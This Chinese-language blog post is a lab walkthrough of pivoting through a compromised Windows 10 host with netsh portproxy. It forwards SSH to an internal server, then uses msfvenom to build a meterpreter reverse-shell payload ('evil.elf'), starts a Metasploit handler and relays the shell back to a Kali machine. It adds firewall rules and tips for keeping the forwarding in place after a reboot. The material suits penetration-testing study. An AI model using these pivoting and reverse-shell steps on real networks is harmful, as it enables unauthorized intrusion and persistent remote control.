跳板攻击之:Netsh端口代理转发

跳板攻击之:Netsh端口代理转发

1 命令解析

netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
  • listenaddress - 等待连接的本地IP地址。
  • listenport - 本地侦听TCP端口。
  • connectaddress - 将传入连接重定向到本地或远程IP地址(或DNS名称)。
  • connectport - 要连接的TCP端口。

2 代理转发内网22端口

image-20220815173305827

  1. 实现功能:在win10上配置端口代理,使外网kali主机通过访问win10的2222端口,连接内网CentOS服务器的22端口

  2. 前提:

    1. 已经取得Win10控制权限
    2. CentOS开放了22端口
  3. Win10上配置端口代理,并防火墙放行该转发端口

    netsh interface portproxy add v4tov4 listenport=2222 connectport=22 connectaddress=10.0.0.7
    netsh advfirewall firewall add rule name="forwarded_TCP_2222" protocol=TCP dir=in localip=192.168.50.236  localport=2222 action=allow
    
  4. 其他命令

    # 清除指定规则
    netsh interface portproxy delete v4tov4 listenport=2222
    
    # 清除所有规则
    netsh interface portproxy reset
    
    # 查看转发规则:
    netsh interface portproxy show all
    
  5. 端口代理成功

    image-20220815094903487

3 代理转发外网4444端口

image-20220815173305827

  1. 实现功能:在win10上配置端口代理,使内网CentOS服务器的反弹shell通过访问win10的4444端口,连接外网kali主机的4444端口

  2. 前提:

    1. 在以上实验的基础上
  3. 制作反弹shell

    msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=10.0.0.6 lport=4444 -f elf -o evil.elf
    chmod +x evil.elf
    
    • 内网CentOS服务器连接的是win10的4444端口,win10将此连接代理转发到win10的4444端口。对于内网CentOS服务器来说,它只知道内网中存在win10。因此反弹shell也是反弹给win10的4444端口
  4. kali中配置监听

    use exploit/multi/handler
    set payload linux/x64/meterpreter/reverse_tcp
    set lhost=192.168.50.2
    set lport=4444
    run
    
    • 同理,对于kali来说,监听的当然是本地存在的地址
  5. Win10配置端口代理

    netsh interface portproxy add v4tov4 listenport=4444 connectport=4444 connectaddress=192.168.50.2
    
    netsh advfirewall firewall add rule name="forwarded_TCP_4444" protocol=TCP dir=in localip=10.0.0.6 localport=4444 action=allow
    
  6. 使用scp将生成好的文件传给内网CentOS服务器

    scp -P 2222 evil.elf root@192.168.50.236:/root/
    
  7. 在CentOS服务器上执行反弹shell文件,代理转发外网4444端口成功

    image-20220815172706354

4 注意

  • 在Windows Server 2012 R2中,端口代理规则仅在系统重启之前有效,重启后会被重置。
  • 可以将使用netsh interface portproxy规则的脚本添加到Windows scheduler,使其在系统启动时运行。
posted @ 2022-08-15 17:35  f_carey  阅读(818)  评论(0编辑  收藏  举报